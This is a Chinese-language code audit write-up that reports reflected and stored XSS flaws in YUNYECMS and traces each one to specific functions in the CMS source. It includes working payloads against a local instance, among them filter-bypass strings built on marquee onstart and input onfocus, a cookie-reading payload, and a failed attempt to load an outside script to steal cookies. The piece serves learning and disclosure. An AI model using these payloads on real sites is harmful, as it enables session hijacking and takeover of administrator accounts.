在cnvd上看到有人爆了 这款cms的几个sql注入,本想着下载下来复现一下,也算是学习下代码审计,然后下载最新版的发现基本已经被修复了,然后想着能不能找到新的漏洞,最后也就以两处惨淡的xss漏洞收场,大佬勿喷
首先给出payload
http://127.0.0.1:81/index.php?a=login&c=member&m=%3Cimg%20src=1%20onerror=alert(1)%3E
从输出形式上来看是没有找到该文件,错误回显导致的问题
首先定位到代码位置 /core/lib/application.class.php文件中的load_controller函数
看到ROUTE_C ROUTE_M 全局搜索,定位到/core/func/basic.fun.php,可以看到传进来的 $var["m"] = ROUTE_M; $var["c"] = ROUTE_C; $var["a"] = ROUTE_A
综上可以看出对通过url传进来的 $m和$filename进行了拼接然后然后去寻找是否存在该路径,并没有对输入的$m和$filename进行过滤直接输出了。
和前台反射xss类似,只是换了一个调用的函数而已
定位到函数位置:/core/lib/YUNYECMSAdmin.class.php
可以看到是直接拼接了ROUTE_C,也就是url传进来的c参数,这个反射型的xss不论是前台还是后台都是由于直接拼接了url传进来的参数导致的xss
url: http://127.0.0.1:81/index.php?a=customform&catid=12
前台增加留言处
XSS payload <marquee onstart=prompt(1)><marquee> 触发cookie <input onfocus=prompt(document[`coo`+`kie`])>
此前一直想尝试在xss平台上获取cookie,但是由于过滤了//导致一直没有成功,附上一个不成功的payload,有大佬可以获取cookie,还请不吝赐教 <input onfocus=document.body.appendChild(document[`cr`+`eateElement`](`scr`+`ipt`)).src=http://127.0.0.1`>
首先抓包定位到函数位置为core\app\content\index.php中的formadd()函数,可以看到对传进来的参数都使用了usafestr()函数
在/core/func/core.fun.php定义了该函数 然后跟进到usafestr函数,然后看到过滤了一堆东西
在core\extend\classes\safestring.php中的过滤规则
然后可以看到过滤了很多东西,很高大上,结合模糊测试和白盒审计找到几个没有过滤的可以用来触发xss的,发现基本过滤了onerror alert onmouseover等危险字符,onfocus onstart 可以用
在搜集的xss payload里寻找,找到一个可用的payload
<marquee onstart=prompt(1)><marquee>
在后台可以看下payload形式,是绕过了xss过滤的
触发点在点击删除的时候的确认提醒处
然后在F12查看源代码
后台的可触发XSS比较鸡肋,但是如果只是拥有了一个低权限的账户,同时具有写留言的功能,能获取到高权限的cookie,这样就不显的那么鸡肋了
还是以后台的留言处为例
url:http://127.0.0.1:81/admin.php?c=content&a=customform_add&usv_ixIW=egksuBNTW6
跟进到\core\admin\content.php函数中的customform_add() 函数,只对传入进来的catid进行了usafestr过滤,并没有对其他进行过滤,然后payload可以随便写